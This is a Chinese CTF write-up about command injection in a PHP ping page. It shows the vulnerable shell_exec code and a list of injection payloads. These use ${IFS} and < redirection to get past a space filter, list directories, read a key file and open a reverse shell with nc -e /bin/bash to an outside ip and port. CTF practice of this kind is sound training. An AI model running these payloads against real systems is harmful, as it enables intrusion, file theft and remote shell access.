命令执行--网络公司ping命令测试

2017-12-05  本文已影响112人  ch3ckr

题目地址:http://183.67.184.159:8888/ctf/shellcodeexec/index.php
题目页面如下:

前端校验部分可以通过抓包,改包绕过。
关键代码如下:
<?php 
if(!isset($_POST["iipp"]))
{
    echo '';
}
else
{
    $iipp =preg_replace("/\s/","",$iipp);
    $result=shell_exec('ping -c 4 '.$iipp);
    $result=str_replace("\n","<br>",$result);
    echo $result;
    
}?>

这里preg_replace过滤了换行符,空格,所以空格,%0a,%0d不可以使用。
一般做法是先列出目录(payload:):

iipp=2;find&submit=Ping(find命令直接把当前目录下所有文件及子目录文件列出来)
iipp=2;ls&submit=Ping
iipp=|ls&submit=Ping
iipp=||ls&submit=Ping

由于过滤了空格,换行,所以绕过过滤即可读取flag(payload:)。

iipp=2|cat<key_31321321421543.php&submit=Ping
iipp=2|strings<key_31321321421543.php&submit=Ping
...(各种读文件命令)
iipp=2||cat${IFS}key_31321321421543.php&submit=Ping
iipp=1|cat$IFS$9key_31321321421543.php&submit=Ping

这里还可以反弹shell进行读取文件或者进行其他操作(payload:)。

nc${IFS}-e${IFS}/bin/bash${IFS}ip${IFS}port
...
上一篇 下一篇

猜你喜欢

热点阅读